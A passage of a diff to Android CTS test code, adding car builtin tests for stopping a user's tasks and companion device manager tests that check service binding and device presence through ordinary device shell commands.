-        executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER,
+        executeShellCommandWithPermission("android.car.permission.CONTROL_CAR_POWER_POLICY",
                 "cmd car_service apply-power-policy %s", policyId);
     }
 
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
index aaba29f..95a3d18 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
@@ -38,24 +38,35 @@
 import android.os.Process;
 import android.os.UserHandle;
 import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.WindowManagerState;
 import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 @RunWith(AndroidJUnit4.class)
 public final class ActivityManagerHelperTest extends ActivityManagerTestBase {
 
+    // type values from frameworks/base/core/java/android/app/WindowConfiguration
+    enum ActivityType {
+        ACTIVITY_TYPE_UNDEFINED,
+        ACTIVITY_TYPE_STANDARD
+    }
+
     private static final String TAG = ActivityManagerHelperTest.class.getSimpleName();
 
     private static final String PERMISSION_SET_ACTIVITY_WATCHER =
@@ -67,16 +78,39 @@
 
     private static final String GRANTED_PERMISSION_INTERACT_ACROSS_USERS =
             "android.permission.INTERACT_ACROSS_USERS";
+
+    // ActivityManagerHelper.removeTask needs this permission
     private static final String PERMISSION_REMOVE_TASKS = "android.permission.REMOVE_TASKS";
+    // IActivityManager.getAllRootTaskInfos called in ActivityManagerHelper.stopAllTaskForUser
+    // needs this permission.
     private static final String PERMISSION_MANAGE_ACTIVITY_TASKS =
             "android.permission.MANAGE_ACTIVITY_TASKS";
+    // ActivityManager.getRunningAppProcess called in isAppRunning needs this permission
+    private static final String PERMISSION_INTERACT_ACROSS_USERS_FULL =
+            "android.permission.INTERACT_ACROSS_USERS_FULL";
 
     private static final String SIMPLE_APP_PACKAGE_NAME = "android.car.cts.builtin.apps.simple";
-    private static final String SIMPLE_ACTIVITY_NAME = SIMPLE_APP_PACKAGE_NAME + ".SimpleActivity";
+    private static final String SIMPLE_ACTIVITY_RELATIVE_NAME = ".SimpleActivity";
+    private static final String SIMPLE_ACTIVITY_NAME = SIMPLE_APP_PACKAGE_NAME
+            + SIMPLE_ACTIVITY_RELATIVE_NAME;
+    private static final String START_SIMPLE_ACTIVITY_COMMAND = "am start -W -n "
+            + SIMPLE_APP_PACKAGE_NAME + "/" + SIMPLE_ACTIVITY_RELATIVE_NAME;
+    private static final ComponentName SIMPLE_ACTIVITY_COMPONENT_NAME =
+            new ComponentName(SIMPLE_APP_PACKAGE_NAME, SIMPLE_ACTIVITY_RELATIVE_NAME);
+
+    // TODO(b/230757942): replace following shell commands with direct API calls
+    private static final String CREATE_USER_COMMAND = "cmd car_service create-user ";
+    private static final String SWITCH_USER_COMMAND = "cmd car_service switch-user ";
+    private static final String REMOVE_USER_COMMAND = "cmd car_service remove-user ";
+    private static final String START_USER_COMMAND = "am start-user -w ";
+    private static final String GET_CURRENT_USER_COMMAND = "am get-current-user ";
+    private static final String CTS_CAR_TEST_USER_NAME = "CtsCarTestUser";
+    // the value from UserHandle.USER_NULL
+    private static final int INVALID_USER_ID = -10_000;
 
     private static final int OWNING_UID = UserHandle.ALL.getIdentifier();
     private static final int MAX_NUM_TASKS = 1_000;
-    private static final int TIMEOUT_MS = 20_000;
+    private static final int TIMEOUT_MS = 4_000;
 
     // x coordinate of the left boundary line of the animation rectangle
     private static final int ANIMATION_RECT_LEFT = 0;
@@ -235,6 +269,60 @@
                 .isEqualTo(expectedLaunchAllowed);
     }
 
+    @Ignore("b/232432706")
+    @Test
+    public void testStopAllTasksForUser() throws Exception {
+        int initialCurrentUserId = getCurrentUserId();
+        int testUserId = INVALID_USER_ID;
+
+        try {
+            mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
+                    PERMISSION_MANAGE_ACTIVITY_TASKS,
+                    PERMISSION_REMOVE_TASKS,
+                    PERMISSION_INTERACT_ACROSS_USERS_FULL);
+
+            testUserId = createUser(CTS_CAR_TEST_USER_NAME);
+            startUser(testUserId);
+
+            switchUser(testUserId);
+            waitUntilUserCurrent(testUserId);
+
+            installPackageForUser(testUserId);
+
+            launchSimpleActivityInCurrentUser();
+            waitUntilSimpleActivityExistenceStatusIs(true);
+            assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isTrue();
+
+            switchUser(initialCurrentUserId);
+            waitUntilUserCurrent(initialCurrentUserId);
+
+            stopAllTasksForUser(testUserId);
+            waitUntilSimpleActivityExistenceStatusIs(false);
+            assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isFalse();
+
+            removeUser(testUserId);
+            testUserId = INVALID_USER_ID;
+        } finally {
+            mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+
+            deepCleanTestStopAllTasksForUser(testUserId, initialCurrentUserId);
+        }
+    }
+
+    private void deepCleanTestStopAllTasksForUser(int testUserId, int initialCurrentUserId)
+            throws Exception {
+        try {
+            if (initialCurrentUserId != getCurrentUserId()) {
+                switchUser(initialCurrentUserId);
+                waitUntilUserCurrent(initialCurrentUserId);
+            }
+        } finally {
+            if (testUserId != INVALID_USER_ID) {
+                removeUser(testUserId);
+            }
+        }
+    }
+
     private void assertComponentPermissionGranted(String permission) throws Exception {
         assertThat(ActivityManagerHelper.checkComponentPermission(permission,
                 Process.myUid(), /* owningUid= */ OWNING_UID, /* exported= */ true))
@@ -273,6 +361,37 @@
         waitAndAssertTopResumedActivity(simpleActivity, DEFAULT_DISPLAY, "Activity isn't resumed");
     }
 
+    // launchSimpleActivity in the current user space via the car shell instead of the calling user.
+    // The calling user could be in the background.
+    private static void launchSimpleActivityInCurrentUser() {
+        Log.d(TAG, "launchSimpleActivityInCurrentUser: " + START_SIMPLE_ACTIVITY_COMMAND);
+        String retStr = SystemUtil.runShellCommand(START_SIMPLE_ACTIVITY_COMMAND);
+        Log.d(TAG, "launchSimpleActivityInCurrentUser return: " + retStr);
+    }
+
+    private static void installPackageForUser(int userId) {
+        String fullCommand = String.format("pm install-existing --user %d %s",
+                userId, SIMPLE_APP_PACKAGE_NAME);
+        Log.d(TAG, "installPackageForUser: " + fullCommand);
+        String retStr = SystemUtil.runShellCommand(fullCommand);
+        Log.d(TAG, "installPackageForUser return: " + retStr);
+    }
+
+    private boolean isAppRunning(String pkgName) {
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        List<ActivityManager.RunningAppProcessInfo> runningAppProcesses =
+                am.getRunningAppProcesses();
+
+        for (ActivityManager.RunningAppProcessInfo procInfo : runningAppProcesses) {
+            if (pkgName.equals(procInfo.processName)) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
     private <T> T launchTestActivity(Class<T> type) {
         Intent startIntent = new Intent(mContext, type)
                 .addFlags(FLAG_ACTIVITY_NEW_TASK);
@@ -324,4 +443,104 @@
 
     public static final class ActivityC extends ActivityManagerTestActivityBase {
     }
+
+    private static int createUser(String userName) throws Exception {
+        Log.d(TAG, "createUser: " + userName);
+        String retStr = SystemUtil.runShellCommand(CREATE_USER_COMMAND + userName);
+        Pattern userIdPattern = Pattern.compile("id=(\\d+)");
+        Matcher matcher = userIdPattern.matcher(retStr);
+        if (!matcher.find()) {
+            throw new Exception("failed to create user: " + userName);
+        }
+        return Integer.parseInt(matcher.group(1));
+    }
+
+    private static void switchUser(int userId) throws Exception {
+        Log.d(TAG, "switchUser: " + userId);
+        String retStr = SystemUtil.runShellCommand(SWITCH_USER_COMMAND + userId);
+        if (!retStr.contains("STATUS_SUCCESSFUL")) {
+            throw new Exception("failed to switch to user: " + userId);
+        }
+        Log.d(TAG, "switchUser: " + retStr);
+    }
+
+    private static void removeUser(int userId) throws Exception {
+        Log.d(TAG, "removeUser: " + userId);
+        String retStr = SystemUtil.runShellCommand(REMOVE_USER_COMMAND + userId);
+        if (!retStr.contains("STATUS_SUCCESSFUL")) {
+            throw new Exception("failed to remove user: " + userId);
+        }
+        Log.d(TAG, "removeUser: " + retStr);
+    }
+
+    private static void startUser(int userId) throws Exception {
+        String retStr = SystemUtil.runShellCommand(START_USER_COMMAND + userId);
+        if (!retStr.contains("Success: user started")) {
+            throw new Exception("failed to start user: " + userId + " with return: " + retStr);
+        }
+        Log.d(TAG, "startUser: " + retStr);
+    }
+
+    private static int getCurrentUserId() {
+        String retStr = SystemUtil.runShellCommand(GET_CURRENT_USER_COMMAND);
+        Log.d(TAG, "getCurrentUserId: " + retStr);
+        return Integer.parseInt(retStr.trim());
+    }
+
+    private static void waitUntilUserCurrent(int userId) throws Exception {
+        PollingCheck.waitFor(TIMEOUT_MS, () -> userId == getCurrentUserId());
+    }
+
+    // need to get the permission in the same user
+    private static void stopAllTasksForUser(int userId) {
+        ActivityManagerHelper.stopAllTasksForUser(userId);
+    }
+
+    private static void waitUntilSimpleActivityExistenceStatusIs(boolean expectedStatus) {
+        PollingCheck.waitFor(TIMEOUT_MS,
+                () -> (checkSimpleActivityExistence() == expectedStatus));
+    }
+
+    private static boolean checkSimpleActivityExistence() {
+        boolean foundSimpleActivity = false;
+
+        Log.d(TAG, "checkSimpleActivityExistence --- Begin");
+        WindowManagerState wmState = new WindowManagerState();
+        wmState.computeState();
+        for (ActivityType activityType : ActivityType.values()) {
+            if (findSimpleActivityInType(activityType, wmState)) {
+                foundSimpleActivity = true;
+                break;
+            }
+        }
+        Log.d(TAG, "checkSimpleActivityExistence --- End with --- " + foundSimpleActivity);
+
+        return foundSimpleActivity;
+    }
+
+    private static boolean findSimpleActivityInType(ActivityType activityType,
+            WindowManagerState wmState) {
+        boolean foundRootTask = false;
+        boolean foundSimpleActivity = false;
+
+        WindowManagerState.Task rootTask =
+                wmState.getRootTaskByActivityType(activityType.ordinal());
+        if (rootTask != null) {
+            foundRootTask = true;
+            List<WindowManagerState.Activity> allActivities = rootTask.getActivities();
+            if (rootTask.getActivity(SIMPLE_ACTIVITY_COMPONENT_NAME) != null) {
+                foundSimpleActivity = true;
+            }
+
+            // for debugging purpose only
+            for (WindowManagerState.Activity act : allActivities) {
+                Log.d(TAG, activityType.name() + ": activity name -- " + act.getName());
+            }
+        }
+
+        Log.d(TAG, activityType.name() + " has simple activity root task:" + foundRootTask);
+        Log.d(TAG, activityType.name() + " has simple activity: " + foundSimpleActivity);
+
+        return foundSimpleActivity;
+    }
 }
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
index eafef35..d75dcdd 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
@@ -21,6 +21,7 @@
 import static android.car.cts.builtin.util.LogcatHelper.assertLogcatMessage;
 import static android.car.cts.builtin.util.LogcatHelper.clearLog;
 
+import android.car.builtin.os.BuildHelper;
 import android.car.builtin.os.TraceHelper;
 import android.car.builtin.util.TimingsTraceLog;
 
@@ -43,7 +44,10 @@
         timingsTraceLog.traceBegin("testTimingsTraceLog");
         timingsTraceLog.traceEnd();
 
-        assertLogMessage("testTimingsTraceLog took to complete");
+        // TODO(b/232814433): assert Trace is called including the user build.
+        if (!BuildHelper.isUserBuild()) {
+            assertLogMessage("testTimingsTraceLog took to complete");
+        }
     }
 
     @Test
diff --git a/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt b/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
index 4d09333..7ca994b 100644
--- a/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
+++ b/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
@@ -59,6 +59,7 @@
     override fun onDeviceAppeared(associationInfo: AssociationInfo) {
         Log.d(TAG, "$this.onDevice_Appeared(), association=$associationInfo")
         _connectedDevices[associationInfo.id] = associationInfo
+
         super.onDeviceAppeared(associationInfo)
     }
 
@@ -86,6 +87,10 @@
         instanceHolder.instance = null
         super.onDestroy()
     }
+
+    fun removeConnectedDevice(associationId: Int) {
+        _connectedDevices.remove(associationId)
+    }
 }
 
 sealed class InstanceHolder<T : CompanionService<T>> {
@@ -127,6 +132,13 @@
         }
         if (!gone) throw AssertionError("""Association with $associationId hasn't "disappeared"""")
     }
+
+    // This is a useful function to use to conveniently "forget" that a device is currently present.
+    // Use to bypass the "unbinding while there are connected devices" for simulated devices.
+    // (Don't worry! they would have removed themselves after 1 minute anyways!)
+    fun forgetDevicePresence(associationId: Int) {
+        instance?.removeConnectedDevice(associationId)
+    }
 }
 
 class PrimaryCompanionService : CompanionService<PrimaryCompanionService>(Companion) {
diff --git a/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt b/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
index 496fd34..8c03abd 100644
--- a/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
+++ b/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
@@ -36,11 +36,14 @@
 import org.junit.AssumptionViolatedException
 import org.junit.Before
 import java.io.IOException
+import kotlin.test.assertContains
+import kotlin.test.assertContentEquals
 import kotlin.test.assertEquals
 import kotlin.test.assertFalse
 import kotlin.test.assertIs
 import kotlin.test.assertTrue
 import kotlin.time.Duration
+import kotlin.time.Duration.Companion.milliseconds
 import kotlin.time.Duration.Companion.seconds
 
 /**
@@ -135,6 +138,8 @@
         return callbackInvocation.associationInfo.id
     }
 
+    protected fun runShellCommand(cmd: String) = instrumentation.runShellCommand(cmd)
+
     private fun CompanionDeviceManager.disassociateAll() =
             allAssociations.forEach { disassociate(it.id) }
 }
@@ -154,6 +159,89 @@
         expected = expected)
 
 /**
+ * Assert that CDM binds valid CompanionDeviceServices, both primary and secondary.
+ * Use when services are expected to switch its state to "bound".
+ */
+fun assertValidCompanionDeviceServicesBind() =
+        assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should bind") {
+            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
+                PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
+            }
+        }
+
+/**
+ * Assert both primary and secondary CompanionDeviceServices stay bound.
+ * Use when services are expected to be in "bound" state already.
+ */
+fun assertValidCompanionDeviceServicesRemainBound() =
+        assertFalse("Both valid CompanionDeviceServices should stay bound") {
+            waitFor(timeout = 3.seconds, interval = 100.milliseconds) {
+                !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
+            }
+        }
+
+/**
+ * Assert that CDM unbinds valid CompanionDeviceServices, both primary and secondary.
+ * Use when services are expected to switch its state to "unbound".
+ */
+fun assertValidCompanionDeviceServicesUnbind() =
+        assertTrue("CompanionDeviceServices should not bind") {
+            waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
+                !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
+            }
+        }
+
+/**
+ * Assert that neither primary nor secondary CompanionDeviceService is bound.
+ * Use when services are expected to be in "unbound" state already.
+ */
+fun assertValidCompanionDeviceServicesRemainUnbound() =
+        assertFalse("CompanionDeviceServices should not be bound") {
+            waitFor(timeout = 3.seconds, interval = 100.milliseconds) {
+                PrimaryCompanionService.isBound || SecondaryCompanionService.isBound
+            }
+        }
+
+/**
+ * Assert that CDM did not bind invalid CompanionDeviceServices
+ * (i.e. missing permission or intent-filter).
+ */
+fun assertInvalidCompanionDeviceServicesNotBound() =
+        assertFalse("CompanionDeviceServices that do not require " +
+                "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
+                "\"android.companion.CompanionDeviceService\" action should not be bound") {
+            MissingPermissionCompanionService.isBound ||
+                    MissingIntentFilterActionCompanionService.isBound
+    }
+
+/**
+ * Assert that device (dis)appearance detection callback is only triggered for the primary
+ * CompanionDeviceService and not on any of the non-primary or invalid CompanionDeviceServices.
+ */
+fun assertOnlyPrimaryCompanionDeviceServiceNotified(associationId: Int, appeared: Boolean) {
+    val snapshotSecondary = HashSet(SecondaryCompanionService.connectedDevices)
+    val snapshotUnauthorized = HashSet(MissingPermissionCompanionService.connectedDevices)
+    val snapshotInvalid = HashSet(MissingIntentFilterActionCompanionService.connectedDevices)
+
+    // Check that the primary CompanionDeviceService received onDevice(Dis)Appeared() callback
+    if (appeared) {
+        PrimaryCompanionService.waitAssociationToAppear(associationId)
+        assertContains(PrimaryCompanionService.associationIdsForConnectedDevices, associationId)
+    } else {
+        PrimaryCompanionService.waitAssociationToDisappear(associationId)
+        assertFalse(PrimaryCompanionService.associationIdsForConnectedDevices
+                .contains(associationId))
+    }
+
+    // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
+    // have NOT. (Give it 1 more second.)
+    sleepFor(1.seconds)
+    assertContentEquals(snapshotSecondary, SecondaryCompanionService.connectedDevices)
+    assertContentEquals(snapshotUnauthorized, MissingPermissionCompanionService.connectedDevices)
+    assertContentEquals(snapshotInvalid, MissingIntentFilterActionCompanionService.connectedDevices)
+}
+
+/**
  * @return whether the condition was met before time ran out.
  */
 fun waitFor(
@@ -196,4 +284,8 @@
 }
 
 fun Instrumentation.setSystemProp(name: String, value: String) =
-        runShellCommand("setprop $name $value")
\ No newline at end of file
+        runShellCommand("setprop $name $value")
+
+fun MacAddress.toUpperCaseString() = toString().toUpperCase()
+
+fun sleepFor(duration: Duration) = sleep(duration.inWholeMilliseconds)
\ No newline at end of file
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt
new file mode 100644
index 0000000..4c0d4bf
--- /dev/null
+++ b/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt
@@ -0,0 +1,278 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.companion.cts.core
+
+import android.Manifest
+import android.companion.cts.common.MAC_ADDRESS_A
+import android.companion.cts.common.MAC_ADDRESS_B
+import android.companion.cts.common.PrimaryCompanionService
+import android.companion.cts.common.SecondaryCompanionService
+import android.companion.cts.common.assertValidCompanionDeviceServicesBind
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainBound
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainUnbound
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
+import android.companion.cts.common.assertEmpty
+import android.companion.cts.common.assertInvalidCompanionDeviceServicesNotBound
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
+import android.companion.cts.common.toUpperCaseString
+import android.platform.test.annotations.AppModeFull
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertContentEquals
+import kotlin.test.assertFailsWith
+
+/**
+ * Test CDM APIs for observing device presence.
+ *
+ * Run: atest CtsCompanionDeviceManagerCoreTestCases:ObservingDevicePresenceTest
+ *
+ * @see android.companion.CompanionDeviceManager.startObservingDevicePresence
+ * @see android.companion.CompanionDeviceManager.stopObservingDevicePresence
+ */
+@AppModeFull(reason = "CompanionDeviceManager APIs are not available to the instant apps.")
+@RunWith(AndroidJUnit4::class)
+class ObservingDevicePresenceTest : CoreTestBase() {
+
+    @Test
+    fun test_observingDevicePresence_isOffByDefault() {
+        // Create a regular (not self-managed) association.
+        targetApp.associate(MAC_ADDRESS_A)
+        val associationId = cdm.myAssociations[0].id
+
+        simulateDeviceAppeared(associationId)
+
+        // Make sure CDM does not bind application
+        assertValidCompanionDeviceServicesRemainUnbound()
+
+        // ... and does not trigger onDeviceAppeared ()
+        assertEmpty(PrimaryCompanionService.connectedDevices)
+        assertEmpty(SecondaryCompanionService.connectedDevices)
+
+        simulateDeviceDisappeared(associationId)
+    }
+
+    @Test
+    fun test_startObservingDevicePresence_requiresPermission() {
+        // Create a regular (not self-managed) association.
+        targetApp.associate(MAC_ADDRESS_A)
+
+        // Attempts to call startObservingDevicePresence without the
+        // REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE  permission should lead to a SecurityException
+        // being thrown.
+        assertFailsWith(SecurityException::class) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+
+        // Same call with the REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE permissions should succeed.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+    }
+
+    @Test
+    fun test_startObservingDevicePresence_singleDevice() {
+        // Create a regular (not self-managed) association.
+        targetApp.associate(MAC_ADDRESS_A)
+        val associationId = cdm.myAssociations[0].id
+
+        // Start observing presence.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+
+        // Simulate device appeared.
+        simulateDeviceAppeared(associationId)
+
+        // Make sure valid CompanionDeviceServices are bound
+        assertValidCompanionDeviceServicesBind()
+
+        // ... and incorrectly defined CompanionDeviceServices are not
+        assertInvalidCompanionDeviceServicesNotBound()
+
+        // Check that only the primary CompanionDeviceService has received the onDeviceAppeared()
+        // callback...
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
+
+        // Make sure that both primary and secondary CompanionDeviceServices still bind.
+        assertValidCompanionDeviceServicesRemainBound()
+
+        simulateDeviceDisappeared(associationId)
+
+        // Check that only the primary services has received the onDeviceDisappeared() callback.
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = false)
+
+        // Both primary and secondary CompanionDeviceServices should unbind now.
+        assertValidCompanionDeviceServicesUnbind()
+    }
+
+    @Test
+    fun test_stopObservingDevicePresence() {
+        // Create a regular (not self-managed) association.
+        targetApp.associate(MAC_ADDRESS_A)
+        val associationId = cdm.myAssociations[0].id
+
+        // Start and stop observing presence.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+            cdm.stopObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+
+        // Simulate device appeared.
+        simulateDeviceAppeared(associationId)
+
+        // Make sure CDM does not bind application
+        assertValidCompanionDeviceServicesRemainUnbound()
+
+        // ... and does not trigger onDeviceAppeared ()
+        assertEmpty(PrimaryCompanionService.connectedDevices)
+        assertEmpty(SecondaryCompanionService.connectedDevices)
+
+        // Simulate device disappeared.
+        simulateDeviceDisappeared(associationId)
+    }
+
+    @Test
+    fun test_startObservingDevicePresence_alreadyPresent() {
+        // Create a regular (not self-managed) association.
+        targetApp.associate(MAC_ADDRESS_A)
+        val associationId = cdm.myAssociations[0].id
+
+        // Simulate device appearing before observing it
+        simulateDeviceAppeared(associationId)
+
+        // Make sure CDM doesn't bind application yet
+        assertValidCompanionDeviceServicesRemainUnbound()
+
+        // Start observing presence of an already present device.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+
+        // Make sure valid CompanionDeviceServices are bound
+        assertValidCompanionDeviceServicesBind()
+        assertInvalidCompanionDeviceServicesNotBound()
+
+        // Clean-up
+        simulateDeviceDisappeared(associationId)
+    }
+
+    @Test
+    fun test_startObservingDevicePresence_multipleDevices() {
+        // Create two regular (not self-managed) associations.
+        targetApp.associate(MAC_ADDRESS_A)
+        targetApp.associate(MAC_ADDRESS_B)
+        val idA = cdm.myAssociations[0].id
+        val idB = cdm.myAssociations[1].id
+
+        // Start observing presence of both devices.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+            cdm.startObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+        }
+
+        simulateDeviceAppeared(idA)
+
+        // Assert only the valid CompanionDeviceServices (primary + secondary) bind
+        assertValidCompanionDeviceServicesBind()
+        assertInvalidCompanionDeviceServicesNotBound()
+
+        // Assert only the primary CompanionDeviceService is notified of device A's appearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
+        assertContentEquals(
+                actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+                expected = setOf(idA)
+        )
+
+        simulateDeviceAppeared(idB)
+
+        // Assert only the primary CompanionDeviceService is notified of device B's appearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = true)
+        assertContentEquals(
+                actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+                expected = setOf(idA, idB)
+        )
+
+        // Make sure both valid services stay bound.
+        assertValidCompanionDeviceServicesRemainBound()
+
+        // "Disconnect" first device (A).
+        simulateDeviceDisappeared(idA)
+
+        // Assert only the primary CompanionDeviceService is notified of device A's disappearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = false)
+
+        // Both valid services should stay bound for as long as there is at least one connected
+        // device - device B in this case.
+        assertValidCompanionDeviceServicesRemainBound()
+
+        // "Disconnect" second (and last remaining) device (B).
+        simulateDeviceDisappeared(idB)
+
+        // Assert only the primary CompanionDeviceService is notified of device B's disappearance
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = false)
+
+        // Both valid services should unbind now.
+        assertValidCompanionDeviceServicesUnbind()
+    }
+
+    @Test
+    fun test_stopObservingDevicePresence_unbindsApplication() {
+        // Create two regular (not self-managed) association.s
+        targetApp.associate(MAC_ADDRESS_A)
+        targetApp.associate(MAC_ADDRESS_B)
+        val idA = cdm.myAssociations[0].id
+        val idB = cdm.myAssociations[1].id
+
+        // Start observing presence of both devices.
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+            cdm.startObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+        }
+
+        simulateDeviceAppeared(idA)
+        simulateDeviceAppeared(idB)
+
+        // Assert only the valid CompanionDeviceServices (primary + secondary) bind
+        assertValidCompanionDeviceServicesBind()
+        assertInvalidCompanionDeviceServicesNotBound()
+
+        // Stop observing presence of device A.
+        PrimaryCompanionService.forgetDevicePresence(idA)
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.stopObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+        }
+
+        // Make sure both valid services stay bound.
+        assertValidCompanionDeviceServicesRemainBound()
+
+        // Stop observing presence of device B.
+        PrimaryCompanionService.forgetDevicePresence(idB)
+        withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+            cdm.stopObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+        }
+
+        // Both valid services should unbind now.
+        assertValidCompanionDeviceServicesUnbind()
+    }
+
+    private fun simulateDeviceAppeared(associationId: Int) = runShellCommand(
+            "cmd companiondevice simulate-device-appeared $associationId")
+
+    private fun simulateDeviceDisappeared(associationId: Int) = runShellCommand(
+            "cmd companiondevice simulate-device-disappeared $associationId")
+}
\ No newline at end of file
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
index f34e828..0305da7 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
@@ -20,15 +20,14 @@
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_A
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_B
 import android.companion.cts.common.MAC_ADDRESS_A
-import android.companion.cts.common.MissingIntentFilterActionCompanionService
-import android.companion.cts.common.MissingPermissionCompanionService
 import android.companion.cts.common.PrimaryCompanionService
 import android.companion.cts.common.Repeat
 import android.companion.cts.common.RepeatRule
-import android.companion.cts.common.SecondaryCompanionService
-import android.companion.cts.common.assertEmpty
-import android.companion.cts.common.waitFor
-import android.os.SystemClock.sleep
+import android.companion.cts.common.assertValidCompanionDeviceServicesBind
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainBound
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
+import android.companion.cts.common.assertInvalidCompanionDeviceServicesNotBound
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import org.junit.Rule
@@ -36,10 +35,6 @@
 import org.junit.runner.RunWith
